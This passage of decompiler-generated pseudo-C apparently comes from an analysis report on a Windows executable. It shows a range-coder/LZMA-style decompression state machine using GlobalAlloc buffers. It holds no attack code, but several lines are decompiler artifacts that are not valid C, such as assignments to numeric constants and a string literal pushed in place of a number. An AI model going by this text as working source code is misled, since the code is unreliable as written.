							if( *(_t613 - 0xc) >= _t565) {
								 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
								 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
								 *(_t613 - 0x40) = 1;
								_t532 = _t531 - (_t531 >> 5);
								 *_t606 = _t532;
							} else {
								 *(_t613 - 0x10) = _t565;
								 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
								 *_t606 = (0x800 - _t589 >> 5) + _t531;
							}
							if( *(_t613 - 0x10) >= 0x1000000) {
								goto L139;
							}
							L137:
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 5;
								L170:
								_t568 = 0x22;
								memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
								_t535 = 0;
								L172:
								return _t535;
							}
							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							L139:
							_t533 =  *(_t613 - 0x84);
							while(1) {
								 *(_t613 - 0x88) = _t533;
								while(1) {
									L1:
									_t534 =  *(_t613 - 0x88);
									if(_t534 > 0x1c) {
										break;
									}
									switch( *((intOrPtr*)(_t534 * 4 +  &M00407061))) {
										case 0:
											if( *(_t613 - 0x6c) == 0) {
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
											_t534 =  *( *(_t613 - 0x70));
											if(_t534 > 0xe1) {
												goto L171;
											}
											_t538 = _t534 & 0x000000ff;
											_push(0x2d);
											asm("cdq");
											_pop(_t570);
											_push("true");
											_pop(_t571);
											_t609 = _t538 / _t570;
											_t540 = _t538 % _t570 & 0x000000ff;
											asm("cdq");
											_t604 = _t540 % _t571 & 0x000000ff;
											 *(_t613 - 0x3c) = _t604;
											 *(_t613 - 0x1c) = (1 << _t609) - 1;
											 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
											_t612 = (0x300 << _t604 + _t609) + 0x736;
											if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
												L10:
												if(_t612 == 0) {
													L12:
													 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
													goto L15;
												} else {
													goto L11;
												}
												do {
													L11:
													_t612 = _t612 - 1;
													 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
												} while (_t612 != 0);
												goto L12;
											}
											if( *(_t613 - 4) != 0) {
												GlobalFree( *(_t613 - 4)); // executed
											}
											_t534 = GlobalAlloc(0x40, 0x600); // executed
											 *(_t613 - 4) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
												goto L10;
											}
										case 1:
											L13:
											__eflags =  *(_t613 - 0x6c);
											if( *(_t613 - 0x6c) == 0) {
												 *(_t613 - 0x88) = 1;
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
											_t45 = _t613 - 0x48;
											 *_t45 =  *(_t613 - 0x48) + 1;
											__eflags =  *_t45;
											L15:
											if( *(_t613 - 0x48) < 4) {
												goto L13;
											}
											_t546 =  *(_t613 - 0x40);
											if(_t546 ==  *(_t613 - 0x74)) {
												L20:
												 *(_t613 - 0x48) = 5;
												 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
												goto L23;
											}
											 *(_t613 - 0x74) = _t546;
											if( *(_t613 - 8) != 0) {
												GlobalFree( *(_t613 - 8)); // executed
											}
											_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
											 *(_t613 - 8) = _t534;
											if(_t534 == 0) {
												goto L171;
											} else {
												goto L20;
											}
										case 2:
											L24:
											_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
											 *(_t613 - 0x84) = 6;
											 *(_t613 - 0x4c) = _t553;
											_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
											 *(_t613 - 0x54) = _t606;
											goto L133;
										case 3:
											L21:
											__eflags =  *(_t613 - 0x6c);
											if( *(_t613 - 0x6c) == 0) {
												 *(_t613 - 0x88) = 3;
												goto L170;
											}
											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
											_t67 = _t613 - 0x70;
											 *_t67 =  &(( *(_t613 - 0x70))[1]);
											__eflags =  *_t67;
											 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
											L23:
											 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
											if( *(_t613 - 0x48) != 0) {
												goto L21;
											}
											goto L24;
										case 4:
											L133:
											_t531 =  *_t606;
											_t589 = _t531 & 0x0000ffff;
											_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
											if( *(_t613 - 0xc) >= _t565) {
												 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
												 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
												 *(_t613 - 0x40) = 1;
												_t532 = _t531 - (_t531 >> 5);
												 *_t606 = _t532;
											} else {
												 *(_t613 - 0x10) = _t565;
												 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
												 *_t606 = (0x800 - _t589 >> 5) + _t531;
											}
											if( *(_t613 - 0x10) >= 0x1000000) {
												goto L139;
											}
										case 5:
											goto L137;
										case 6:
											__edx = 0;
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x34) = 1;
												 *(__ebp - 0x84) = 7;
												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x5c) & 0x000000ff;
											__esi =  *(__ebp - 0x60);
											__cl = 8;
											__cl = 8 -  *(__ebp - 0x3c);
											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
											__ecx =  *(__ebp - 0x3c);
											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
											__ecx =  *(__ebp - 4);
											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
											__eflags =  *(__ebp - 0x38) - 4;
											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
											if( *(__ebp - 0x38) >= 4) {
												__eflags =  *(__ebp - 0x38) - 0xa;
												if( *(__ebp - 0x38) >= 0xa) {
													_t98 = __ebp - 0x38;
													 *_t98 =  *(__ebp - 0x38) - 6;
													__eflags =  *_t98;
												} else {
													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
												}
											} else {
												 *(__ebp - 0x38) = 0;
											}
											__eflags =  *(__ebp - 0x34) - __edx;
											if( *(__ebp - 0x34) == __edx) {
												__ebx = 0;
												__ebx = 1;
												goto L61;
											} else {
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__ecx =  *(__ebp - 8);
												__ebx = 0;
												__ebx = 1;
												__al =  *((intOrPtr*)(__eax + __ecx));
												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
												goto L41;
											}
										case 7:
											__eflags =  *(__ebp - 0x40) - 1;
											if( *(__ebp - 0x40) != 1) {
												__eax =  *(__ebp - 0x24);
												 *(__ebp - 0x80) = 0x16;
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												__eax =  *(__ebp - 0x2c);
												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xa;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
												__eax =  *(__ebp - 4);
												__eax =  *(__ebp - 4) + 0x664;
												__eflags = __eax;
												 *(__ebp - 0x58) = __eax;
												goto L69;
											}
											__eax =  *(__ebp - 4);
											__ecx =  *(__ebp - 0x38);
											 *(__ebp - 0x84) = 8;
											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
											while(1) {
												 *(_t613 - 0x54) = _t606;
												goto L133;
											}
										case 8:
											goto L0;
										case 9:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												goto L89;
											}
											__eflags =  *(__ebp - 0x60);
											if( *(__ebp - 0x60) == 0) {
												goto L171;
											}
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											_t258 =  *(__ebp - 0x38) - 7 >= 0;
											__eflags = _t258;
											0 | _t258 = _t258 + _t258 + 9;
											 *(__ebp - 0x38) = _t258 + _t258 + 9;
											goto L75;
										case 0xa:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 0xb;
												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x28);
											goto L88;
										case 0xb:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__ecx =  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x20);
												 *(__ebp - 0x20) =  *(__ebp - 0x24);
											} else {
												__eax =  *(__ebp - 0x24);
											}
											__ecx =  *(__ebp - 0x28);
											 *(__ebp - 0x24) =  *(__ebp - 0x28);
											L88:
											__ecx =  *(__ebp - 0x2c);
											 *(__ebp - 0x2c) = __eax;
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											L89:
											__eax =  *(__ebp - 4);
											 *(__ebp - 0x80) = 0x15;
											__eax =  *(__ebp - 4) + 0xa68;
											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
											goto L69;
										case 0xc:
											L99:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xc;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t334 = __ebp - 0x70;
											 *_t334 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t334;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											__eax =  *(__ebp - 0x2c);
											goto L101;
										case 0xd:
											L37:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xd;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t122 = __ebp - 0x70;
											 *_t122 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t122;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L39:
											__eax =  *(__ebp - 0x40);
											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
												goto L48;
											}
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												goto L54;
											}
											L41:
											__eax =  *(__ebp - 0x5b) & 0x000000ff;
											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
											__ecx =  *(__ebp - 0x58);
											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
											 *(__ebp - 0x48) = __eax;
											__eax = __eax + 1;
											__eax = __eax << 8;
											__eax = __eax + __ebx;
											__esi =  *(__ebp - 0x58) + __eax * 2;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edx = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												 *(__ebp - 0x40) = 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												__ebx = __ebx + __ebx + 1;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edx;
												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L39;
											} else {
												goto L37;
											}
										case 0xe:
											L46:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xe;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__ebx = __edx + 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												__ebx = __edx + 1;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												goto L58;
											}
										case 0x10:
											L109:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t365 = __ebp - 0x70;
											 *_t365 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t365;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L111;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											while(1) {
												 *(_t613 - 0x54) = _t606;
												goto L133;
											}
										case 0x12:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												__eax =  *(__ebp - 0x58);
												 *(__ebp - 0x84) = 0x13;
												__esi =  *(__ebp - 0x58) + 2;
												while(1) {
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											}
											__eax =  *(__ebp - 0x4c);
											 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											__eflags = __eax;
											__eax =  *(__ebp - 0x58) + __eax + 4;
											goto L130;
										case 0x13:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												L144:
												 *(__ebp - 0x7c) = 0x14;
												goto L145;
											}
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											L130:
											 *(__ebp - 0x58) = __eax;
											 *(__ebp - 0x40) = 3;
											goto L144;
										case 0x14:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											 *(_t613 - 0x88) = _t533;
											goto L1;
										case 0x15:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L120;
										case 0x16:
											__eax =  *(__ebp - 0x30);
											__eflags = __eax - 4;
											if(__eax >= 4) {
												_push("true");
												_pop(__eax);
											}
											__ecx =  *(__ebp - 4);
											 *(__ebp - 0x40) = 6;
											__eax = __eax << 7;
											 *(__ebp - 0x7c) = 0x19;
											 *(__ebp - 0x58) = __eax;
											goto L145;
										case 0x17:
											L145:
											__eax =  *(__ebp - 0x40);
											 *(__ebp - 0x50) = 1;
											 *(__ebp - 0x48) =  *(__ebp - 0x40);
											goto L149;
										case 0x18:
											L146:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												 *(__ebp - 0x88) = 0x18;
												goto L170;
											}
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t484 = __ebp - 0x70;
											 *_t484 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t484;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L148:
											_t487 = __ebp - 0x48;
											 *_t487 =  *(__ebp - 0x48) - 1;
											__eflags =  *_t487;
											L149:
											__eflags =  *(__ebp - 0x48);
											if( *(__ebp - 0x48) <= 0) {
												__ecx =  *(__ebp - 0x40);
												__ebx =  *(__ebp - 0x50);
												0 = 1;
												__eax = 1 << __cl;
												__ebx =  *(__ebp - 0x50) - (1 << __cl);
												__eax =  *(__ebp - 0x7c);
												 *(__ebp - 0x44) = __ebx;
												while(1) {
													 *(_t613 - 0x88) = _t533;
													goto L1;
												}
											}
											__eax =  *(__ebp - 0x50);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
											__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
											__eax =  *(__ebp - 0x58);
											__esi = __edx + __eax;
											 *(__ebp - 0x54) = __esi;
											__ax =  *__esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												__cx = __ax >> 5;
												__eax = __eax - __ecx;
												__edx = __edx + 1;
												__eflags = __edx;
												 *__esi = __ax;
												 *(__ebp - 0x50) = __edx;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L148;
											} else {
												goto L146;
											}
										case 0x19:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												 *(__ebp - 0x2c) = __ebx;
												L119:
												_t393 = __ebp - 0x2c;
												 *_t393 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t393;
												L120:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t400 = __ebp - 0x60;
												 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t400;
												goto L123;
											}
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L102:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L108:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L112:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														_t391 = __ebp - 0x2c;
														 *_t391 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t391;
														goto L119;
													}
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L111:
														_t368 = __ebp - 0x48;
														 *_t368 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t368;
														goto L112;
													} else {
														goto L109;
													}
												}
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
